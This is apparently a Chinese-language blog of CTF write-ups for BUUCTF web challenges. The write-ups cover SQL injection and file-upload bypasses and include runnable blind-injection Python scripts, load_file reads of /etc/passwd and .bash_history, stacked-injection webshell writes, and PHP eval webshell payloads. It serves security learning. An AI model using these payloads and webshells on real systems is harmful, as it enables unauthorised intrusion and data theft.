Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

buu-Web

SQL注入

[极客大挑战 2019]LoveSQL

联合查询

[极客大挑战 2019]BabySQL

过滤where ,or,union,select

双写绕过,联合查询

[极客大挑战 2019]HardSQL

by,空格,and,&&,=

利用 like绕过=

利用括号绕过空格

报错注入

利用right()爆出剩下flag后删除重复部分

[CISCN2019 华北赛区 Day2 Web1]Hack World

空格利用括号绕过

盲注

63

[GXYCTF2019]BabySQli

联合查询

联合查询未存在数据会产生虚拟数据

1
2
3
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;

根据源码构造进行构造

[SWPU2019]Web1

观察后尝试二次注入,发现注册无问题,

登录后发现为广告信息管理,申请发布广告后点击广告详情发现注入点

or updatexml extractvalu 被过滤,即information和报错注入无法使用

空格绕过使用/**/

1
2
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
等效于 select group_concat(table_name) from information_schema.tables where table_schema=database()

不使用列名查询

1
select group_concat(`3`) from(select 1,2,3 union select * from users)a

建立临时数据表进行查询 列名使用``进行引用,a即对临时表进行命名等效于as a

[WUSTCTF2020]颜值成绩查询

过滤空格

if判断

布尔盲注

[b01lers2020]Life on Mars

查询非所在库信息

1
select group_concat(schema_name) from information_schema.schemata (爆出所有库)

October 2019 Twice SQL Injection

二次注入

注册+登录

[RootersCTF2019]babyWeb

id判断登录

万能密码 1|| 1=1 limit 1,1

[极客大挑战 2019]FinalSQL

寻找注入点发现再序号中

盲注(真该死啊,放最后跑了两百多位)

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

64

提示使用php伪协议读取php内容

1
?file=php://filter/convert.base64-encode/resource=index.php

通过base64读取源码

审阅代码后发现

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

change.php中address为直接调用,即可进行二次注入,通过报错注入进行输出

所在数据库查询无结果,通过information_schema.schemata查询到其他数据库,打开后也为空,搜索wp后发现flag在flag.txt中(没有找到怎么确定在flag.txt文件中,感觉是猜测的)

1
select(load_file("/flag.txt"))

通过load_file( )读取文件获得flag

[RCTF2015]EasySQL

看到注册和修改密码,怀疑为二次注入

进行注册后登录,修改密码时发现报错,确定为二次注入,闭合为username=”$usname”

substr(),right ()被过滤,使用regexp(‘^f’)匹配f开头的进行刷选(regexp()为正则表达式)

1
1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

reverse()倒叙输出

[SUCTF 2019]EasySQL

根据输入除零外数字输出1,输入字母和0无输出猜测后端语句存在||,猜测后端代码为

1
select $_POST['query'] || flag from Flag;

|| 并列 $_POST[‘query’] 和flag

即可进行构造

1
select *,1|| flag from Flag;-->select *,1 from Flag

或者

通过设置SQL Mode功能

1
set sql_mod=PIPES_AS_CONCAT  (||视为字符串连接符)

即可进行构造

1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag;-->select 1;select concat(1,flag) from Flag;

[网鼎杯 2018]Comment

点击发贴,随便输入出现登录

提示账号和密码,通过burp进行爆破出密码为zhangwei666

69

提示存在git泄露,用githack扫描出源文件

1
python githack url/.git/

发现存在残缺,用git hacker查看提交版本,得到完整源码(这里我没有恢复出来,直接看wp)

1
2
git log --reflog  或 git log --all
git reset --hard (commit版本号)

审阅源码发现,对category从数据库取出时未对其进行检查,即可对此进行二次注入

1
2
3
4
$sql = "insert into comment           
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

此处sql为多行,即无法使用单行注释,使用/**/进行拼接注释

70

即构成

1
2
3
4
$sql = "insert into comment           
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";

爆出数据库名,报数据表时发现无回现,看wp之后发现这里为读取文件 select load_file(‘文件绝对路径’)

load_file读取文件需要root权限,可通过user()查看权限

先查看 ‘/etc/passwd’ ,这里存放了系统用户和用户的路径

1
',content=(select (load_file('/etc/passwd'))),/*   */#

73

发现出来root用户以外,只有www这个用户在/home/www目录下用了/bin/bash

每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。

查看/home/www/.bash_history

1
',content=',content=(load_file("/home/www/.bash_history")),/*   */#

74

解释一下:先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),将/var/www/html下的.DS_Store文件删除

.DS_Store:这个文件为常见的备份文件

这里可以查看/var/www/html也可以查看/tmp/html/.DS_Store(/var/www/html下的.DS_Store文件被删除,但/tmp/html下的DS_Store文件未被删除)

我这里先查看/tmp/html/.DS_Store

1
',content=(select(load_file("/tmp/html/.DS_Store"))),/*   */#

75

文件太大,不能完全显示,先通过hex()函数对其进行16进制转换,后通过hex解码(.DS_Store中有部分不可见字符,可通过16进制进行转换)

1
',content=(select(hex(load_file("/tmp/html/.DS_Store")))),/*   */#

76

发现其下面有个flag_8946e1ff1ee3e40f.php文件

查看该文件

1
',content=(select(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*   */#

发现为空

77

添加hex

1
',content=(select(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")))),/*   */#

78

提交后发现为假,查看/var/www/html下的flag_8946e1ff1ee3e40f.php文件

1
',content=(select(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*   */#

79

[GYCTF2020]Ezsqli

网页测试

当输入为1输出Nu1L

65

当输入为0输出

66

即当正确时输出Nu1L,错误输出Error Occured When Fetch Result.

就此构造盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
k=1
j=0
a=""
while True:
for i in range(32,126):
url='http://89c5c00e-4c79-40dd-b84e-b5e495be37a5.node4.buuoj.cn:81/'
data={'id':"0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={})".format(k,i)}
res=requests.post(url=url,data=data)
#print(data)
if 'Nu1L' in res.text:
print(chr(i))
a+=chr(i)
k+=1
break
if i ==125:
print(a)
j=j+1
k=1
a=""

information尝试使用被过滤,使用mysql.innodb_table_stats同样被过滤,则使用sys.schema_table_statistics_with_buffer进行对数据表查询

查询表后发现union select 被过滤,即无法使用临时表进行数据查询,尝试使用ASCII偏移进行查询

ascii即对字符进行当个比较

67

ascii偏移比较只能对单行进行,多行进行比较是显示为空,需使用limit函数进行限制

68

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a=""
while True:
for i in range(32,126):
url='http://0974809b-d3d0-413e-b1f6-844c206c9582.node4.buuoj.cn:81/'
a=a+chr(i)
data={'id':"0||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)".format(a)}
res=requests.post(url=url,data=data)
print(data)
time.sleep(0.1) 需添加sleep,请求提交过快会产生ascii比较会产生错误
if 'Nu1L' in res.text:
print(chr(i-1))
a=a[:-1]
a+=chr(i-1)
print(a)
break
else:
a=a[:-1]

[NCTF2019]SQLi

点开题目看到sql查询语句,可以猜到过滤了很多东西

82

用disearch扫一下,发现存在robots.txt文件

81

打开hint.txt

80

发现他要输入admind的passwd才能得到flag,但同时admin被过滤,select,where……大部分都被过滤了

看了wp之后发现可以用正则表达式来进行构造

这里 ‘ 被过滤了,仔细检查过滤表,发现 \ 未被过滤,这里就通过\ 转义前面 username=’ ‘ 中后面的一个 ‘ 即构成

1
2
select * from users where username='\' and passwd='||sql%00'
-->select * from users where sql

这里的%00不要直接在输入框输入,在hackbar输入sql语句后用url编码一下再在最后加%00,防止%00被过滤

83

1
2
select * from users where username='\' and passwd='|| passwd regexp "^a"%00'
-->select * from users where passwd regexp "^a"

输入1发现跳转到welcome.php,发现可以通过这个构造盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
a=""
# s=string.ascii_letters+'_'+'0123456789'
s= string.ascii_lowercase + string.digits + "_"
while True:
for i in s:
url='http://bc2a422f-2f36-4abf-b869-cf6b35ceea8e.node4.buuoj.cn:81/'
a=a+i
data={'username':"\\",'passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format(a)} (这里没有办法对前面进行编码,就直接通过\x00进行截断)
res=requests.post(url=url,data=data)
print(data)
if 'welcome.php' in res.text:
print(i)
a=a[:-1]
a+=i
print(a)
break
else:
a=a[:-1]

这里我原来想直接通过循环直接爆破出来,发现正则表达式中 * ?这些符号会影响输出,所以直接通过string库中的ascii_letters 调用所有的字母大小写然后合并上数字以及”_”,在爆出passwd的结果的时候又出现一个问题,他有时会爆出大小写混合(这个好像在检测的时候不对),好像要统一大小写,因此我这里又调用了ascii_lowercase调用所有小写字母

[网鼎杯2018]Unfinish

进入题目,发现只有一个登录页面login.php,没有其他信息,怀疑存在注册页面,尝试了一下register.php,发现确实存在注册页面(这里可以用disearch或者御剑扫一下)

存在注册和登录界面,这里就可以基本确定为二次注入,但现在不清楚注入点在哪,看了一下两个页面发现注册页面多了一个用户名,这里就先猜测注入点在这

84

登录后发现

85

确认此处存在注入点,这里爆出数据库的时候我原来是想通过遍历字符的ascii码,然后进行对错匹配的,在写的过程中发现直接通过”0”和”1”来匹配对错无法进行有效判断,如果利用这个

1
2
<span class="user-name">
0 </span>

就得使用正则表达式,但如果使用正则表达式,就没有必要再进行遍历,可以直接匹配出字符的ascii码

1
r=re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res2.text)  (\s*  匹配零个或多个空白字符 \d*匹配零个或多个数字)

这里有个问题就是调用 r 进行再次匹配时需要使用group()函数提取截获的字符串

1
s1=re.search(r'\d+',r.group())

这样就可以写出脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
a=""
while True:
for i in range(1,100):
url="http://2add0335-c17b-45fb-b3b5-ef10f13be2e3.node4.buuoj.cn:81/"
url1=url+'register.php'
url2=url+'login.php'
data1={'email':'2@1.{}'.format(i),
'username':"0'+ascii(substr(database() from {} for 1))+'0".format(i), substr中的','被过滤,利用from .. for ..绕过
'password':'a'}
data2={'email':'2@1.{}'.format(i),
'password':'a'}
res1=requests.post(url=url1,data=data1)
res2=requests.post(url=url2,data=data2)
r=re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res2.text)
s1=re.search(r'\d+',r.group())
a+=chr(int(s1.group()))
print(a)

爆出数据库发现imformation被过滤了,虽然好像可以通过无列名注入,网上查了一下,发现这里好像flag不在当前表中,需要直接猜,这里的flag值所在的表名为flag,然后看了wp,发现这里还可以用hex进行匹配,mysql中,+只能当做运算符,这里使用bin和oct转换会出问题,而且hex转换后出现字母会被忽略,所以需要在进行一次hex转换。

86

在转换长字符又出来问题它会被转化成科学计数法,这里就得分段读取了(发现还是ascii好用)

[SWPU2019]Web4

打开题目只有一个登录框,输入账号密码后页面没有任何反应,注册功能也没有开放,查看源代码可以看到一个js文件,主要功能就是将username和password以json格式发送给index.php?r=Login/Login

1
2
3
4
5
6
7
8
9
10
11
12
13
function loginAjax() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value; //获取页面用户名和密码
var object = new Object();
object.username = username;
object.password = password; //创建一个js对象object并储存用户名和密码
var xhr = new XMLHttpRequest();
var jsonStr = JSON.stringify(object); //将object对象转化成json字符串
xhr.open("post", "index.php?r=Login/Login"); //指定请求方式和路径
xhr.setRequestHeader("Content-Type","application/json");
xhr.send(jsonStr); //发送请求
console.log(jsonStr); //发送请求前打印json字符串
};

这里可以通过查看index.php?r=Login/Login查看注入状态信息,也可以通过burp的repeater模块去查看

116117

118

这里可以看到当注入admin’;回显202注入成功,确定此处可以使用堆叠注入,因为这里过滤了很多东西,所以这里用十六进制+预处理的方式进行绕过,贴个脚本(这里有个点,他好像需要猜出来 select flag from flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
import json
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url="http://088660f8-a75a-4793-939d-cb18610c989c.node4.buuoj.cn:81/index.php?r=Login/Login"
i=1
flag=''
while True:
d="admin';set @a=0x{0};prepare t from @a;execute t;"
for j in range(32,128):
da='select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)'.format(i,j)
datas={'username':d.format(str_to_hex(da)),'password':'admin'}
data=json.dumps(datas)
time1=time.time()
res=requests.post(url=url,data=data)
time2=time.time()
if time2-time1>=3:
flag+=chr(j)
i+=1
print(flag)
break

119

url+glzjin_wants_a_girl_friend.zip,解码后发现为一个基础的mvc框架(Model(模型)、View(视图)和Controller(控制)),这里引用一段话,介绍一下url解析流程

120

前端应用逻辑基础在controller文件夹下,而其它文件基于BaseConller.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

extract传入 viewdata 数组造成变量覆盖,后面又include了一个文件,这意味着只要$viewData可控,就可以覆盖$this–>viewPath中的部分变量,而$this–>viewPath正是返回客服端

寻找几个调用loadView的方法,发现一个对$viewData完全可控的地方

1
2
3
4
5
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

$listData直接从request中提取,而其对应/View/userIndex.php

1
2
3
4
5
6
7
8
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示

return $img_base64; //返回图片的base64

即读取$ima_file的内容,然后以base64的形式输出图片,这里就存在一个文件读取漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}

大致意思将控制器名称和方法拼接,由此可以获得user/Index

即可以构造url+index.php?r=User/Index&img_file=/../flag.php获得flag

121

122

(hackbar好像对多行解析有点问题)

[Black Watch 入群题]Web

这题主要就是找到注入点

进入题目

100

看到一个热点,一个登录,登录里面尝试了一下发现好像不行,点开热点信息

101

点开不同热点/#/content/1中的1会发生改变,怀疑为注入点,f12+network,发现存在一个

102

测试了一下发现空格,union被过滤了,其他好像也没有什么东西了,这里直接用异或进行判断构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
i=1
flag=""
while True:
for j in range(32,126):
url='http://cc79099c-2565-4523-8f0e-6599d4faef99.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})'.format(i,j)
res=requests.get(url)
time.sleep(1)
if "title" in res.text:
flag=flag+chr(j)
print(flag)
i+=1
break
# admin,contents
while True:
for j in range(32,126):
url="http://9f6ae375-004d-4d2c-a378-59fc8cc043da.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))={})".format(i,j)
res=requests.get(url)
time.sleep(0.1)
if "title" in res.text:
flag=flag+chr(j)
print(flag)
i+=1
break
# id,username,password,is_enable
while True:
for j in range(32,126):
url="http://9f6ae375-004d-4d2c-a378-59fc8cc043da.node4.buuoj.cn:81/backend/content_detail.php?id=1^1^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),{},1))={})".format(i,j)
res=requests.get(url)
time.sleep(0.1)
if "title" in res.text:
flag=flag+chr(j)
print(flag)
i+=1
break
# a338056f:89423ab8,0e9074ea:74a1cffd

得到两个用户名和密码,输入第二个得到flag

103

[SUCTF 2018]MultiSQL

进入题目发现一个注册一个登录,先注册一个账号试试

104

登录后发现用户信息处存在注入点

105

先尝试使用常规异或构造,发现大部分被过滤(后面返回来发现flag不在数据库里而在根目录),这里使用一个新的方法(主要为读取文件+写入文件),通过堆叠注入进行sql预处理注入一个一句话木马

1
2
3
4
5
6
7
8
预处理:
set @a=…………;
# 定义预处理语句
PREPARE test FROM @a;
# 执行预处理语句
EXECUTE test;
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE test;

这里先通过将字符串转换成十进制进行绕过,char()

106

进行sql预处理

108

107

注入成功后,查看根目录

109

发现存在WelL_Th1s_14_fl4g,这里需要先切换到根目录,再打印WelL_Th1s_14_fl4g内容

110

[BSidesCF 2019]Sequel

打开题目首先看到一个登录画面,尝试了半天不行,看了wp发现注入点不在这里

这里需要先进行爆破用户密码(应该是用字典进行爆破,我没有找到合适的字典,这里就直接看wp了)用户密码为guest

111

完成登录后,这里有一句提醒Maybe the admin likes it too?

查看网页信息时发现Cooike有一段base64加密

112

解密后为

113

构造 {“username”:”" or 1=1 or '“,”password”:”guest”}

114

发现可以进行注入,即可构造脚本,这里需要注意的是其数据库为sqlite,而非mysql,sqlite的数据表直接存放在sqlite_master,部分函数也不存在,所以这里不通过匹配ascii码进行爆破,而是通过like语句和正则表达式进行匹配,通过exists来判断存在(直接匹配字符好像也可以)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64
import string
import time
url = "http://39f25f23-8a3f-4c07-a3cd-71c4a6bf1fe7.node4.buuoj.cn:81/sequels"
flag = ''
while True:
for i in string.printable:
time.sleep(0.1)
tmp = flag + i
u = r'\" or EXISTS(SELECT name from sqlite_master where name like \"{}\" limit 1) or \"'.format(
tmp + '%')
payload = '{"username":"%s","password":"guest"}' % u
# print(payload)
cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
res = requests.get(url, cookies=cookies)
if "Movie" in res.text:
flag = tmp
print(flag)
break

这里爆出用户和密码后即可进行登录获得flag

[SWPU2019]Web6

打开题目,测试登录

126

124

125

发现当构造 ‘ or 1=2# 和 ‘ or 1=1#时两次回显不同,根据此不同可以构造脚本,但这里用一个新的方法 with rollup

With rollup:在group分组字段的基础上再进行统计数据

127

容易发现当没有对字段进行运算时分组结果为null,这里即可通过limit找到相应的行,只有找到返回为空的那一行,登录密码为null就可以登录,但这里limit被过滤,可以用having代替

1
2
' or '1'='1' group by passwd with rollup having passwd is NULL#
密码为空

128

登录成功,但没有任何信息,看了wp之后发现说存在wsdl.php,检查其源码时发现定义了多个方法

129

查看各种方法后发现能用的大概只有File_read,hint和Get_flag

这里查看hint131

后面发现一个keyaaaaaaaasdfsaf.txt,用File_read查看一下

130

132

依次查看了一下hint提示的几个文件(Service.php无法直接读取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
index.php
<?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);

//phpinfo();

$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");


if(!in_array($method,$allow_method))
{
die("not allow method");
}


if($method==="File_read")
{
$param =$_POST['filename'];
$param2=null;

}else
{
if($method==="login")
{
$param=$_POST['username'];
$param2 = $_POST['passwd'];
}else
{
echo "method can use";
}
}

echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);

ob_flush();

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
encode.php
<?php


function en_crypt($content,$key){
$key = md5($key);
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};

$h++;
}
$swpu = '';

for ($j = 0; $j < $length; $j++)
{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return base64_encode($swpu);
}
1
2
3
4
5
6
7
interface.php
<?php
include('Service.php');
$ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
$ser->setClass('Service');
$ser->handle();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
se.php
<?php


ini_set('session.serialize_handler', 'php');

class aa
{
public $mod1;
public $mod2;
public function __call($name,$param)
{
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
}
}
public function __get($ke)
{
return $this->mod2[$ke];
}
}


class bb
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test2();
}
}

class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
}
}

class dd
{
public $name;
public $flag;
public $b;

public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
class ee
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->{$this->str2}();
return "1";
}
}




$a = $_POST['aa'];
unserialize($a);
?>

发现白名单存在get_flag,调用方法发现,需要admin 127.0.0.1

135

越权可以通过修改cookie,而这里通过encode.php对cookie进行加密,这里直接写个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$key="flag{this_is_false_flag}";
$data="3J6Roahxag==";
$key=md5($key);
$data=base64_decode($data);
$length =strlen($data);
$swpuctf=strlen($key);
$varch='';
$h=0;
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};

$h++;
}
$swpu="";
for ($j = 0; $j < $length; $j++)
{
$swpu .= chr((ord($data{$j}) + 256 -(ord($varch{$j})))%256);
}
echo $swpu;

133

跑出结果为xiaoC:2,这里直接将其修改为admin:1,再次进行加密,替换cookie(解码的意义是确定格式??我感觉可能是这样)

修改为127.0.0.1这里看了wp之后,好像需要用ssrf,(先留着吧)

文件上传

检测一句话木马是否成功注入可用phpinfo();

成功后可以 system(‘linux语句’) 进行查询

[极客大挑战 2019]Upload

幻数头字节检测

1
2
3
JPG     FF D8 FF E0 00 10 4A 46 49 46 
GIF 47 49 46 38 39 61 // 相当于文本的GIF89a
PNG 89 50 4E 47
1
2
GIF89a<script langue="php">eval($_POST('a');</script>
<script langue="php">....</script> 网页中插入php语言

黑名单+Content-Type+头字节

黑名单用畸形后缀进行绕过 .phtml

[ACTF2020 新生赛]Upload

前端js审验+后端黑名单

[MRCTF2020]你传你🐎呢

黑名单+Content-Type

黑名单用 apache配置文件 .htaccess 进行绕过

解析木马 常用函数被过滤 通过scandir() 列出文件 通过 file_get_contents() 读取文件

[GXYCTF2019]BabyUpload

与’你传你🐎呢’相似

黑名单+Content-Type Content-Type通过检查源码发现通过image/jpeg进行绕过

解析木马 常用函数被过滤

[WUSTCTF2020]CV Maker

打开后发先为注册页面,完成注册和登录

登录后发现为一个头像上传页面,对此进行上传,上传一个php文件后发现报错

89

发现为exif_imagetype()检测(读取图像第一个字节并进行检测)

既可以在原有基础一句话木马上增加头字节

90

上传成功后进入图片地址,检测一句话木马注入成功

93

尝试查看flag无显示,查看根目录,发现存在Flag_aqi2282u922oiji目录

91

打印该目录内容

92

[RoarCTF 2019]Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

一开始做有点懵,因为印象里的文件上传都是那种有个上传按钮的…..这里查看了一下wp,才大致知道了方法

这个题目是thinkphp upload类错误使用

1
$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

allowExts并不是Think\Upload类的正确用法,所以后缀名限制无效,正确应为

1
$upload->exts      =     array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

这里还有知识点就是thinkphp路由默认上传路径为/home/index/upload,但这里有个问题,就是直接输入url+/home/index/upload的话会404

94

所以这里需要在路径前加上index.php

1
2
3
4
5
6
7
8
9
10
11
url='http://2467ccfa-9c62-4a65-a80c-1669cca7ac3d.node4.buuoj.cn:81/index.php/home/index/upload'
file1={'file':open("D:\\desktop\\1.txt",'r')}
file2={'file[]':open("D:\\desktop\\php.php",'r')}
r = requests.post(url,files = file1)
print(r.text)

r = requests.post(url,files = file2)
print(r.text)

r = requests.post(url, files = file1)
print(r.text)

upload()函数不传参时为多文件上传,即将整个数组进行上传,upload的错误使用导致未对php文件进行过滤,通过上传两个txt文件限制php文件范围,然后在其范围内进行遍历

1
2
3
4
5
6
7
8
9
10
11
for i in range(291187,504049):
s=hex(i)
s=s[2:]
url = "http://31cfa104-d20b-45b8-9cef-bd36d9591ab7.node4.buuoj.cn:81/Public/Uploads/2023-12-11/6576fd1d"+s+".php"
r = requests.get(url)
print(s)
if r.status_code == 200:
print(url)
break
elif r.status_code == 429:
time.sleep(0.1)

或者用

1
2
3
4
5
url = "http://e4a34d57-63ea-4549-b36d-99c987a2b245.node4.buuoj.cn:81/index.php/home/index/upload/"
s = requests.Session() (创建实例)
files = {"file": ("shell.<>php", "<?php eval($_GET['a'])?>")} ({"file":("文件名","文件内容")})
r = requests.post(url, files=files)
print(r.text)

通过shell.<>php的方式绕过检测

[HarekazeCTF2019]Avatar Uploader 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

审阅源码发现要求上传png文件,且有大小限制,主要通过getimagesize() 和 finfo_file()函数进行验证,即需要绕过这两个函数

getimagesize()函数 获取图片大小及其相关信息,成功后返回一个数组

95

96

97

finfo_file()函数 检测上传图片类型

1
2
3
4
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

这里需要图片类型不是png,但finfo_file()检测有需要图片类型为png,网上查看了一下发现,finfo_file()主要检测图片十六进制下的第一行信息,即保留图片第一行信息即可对其进行绕过

98

但我这里不知道出什么问题,通过检测但没有爆出flag

99

评论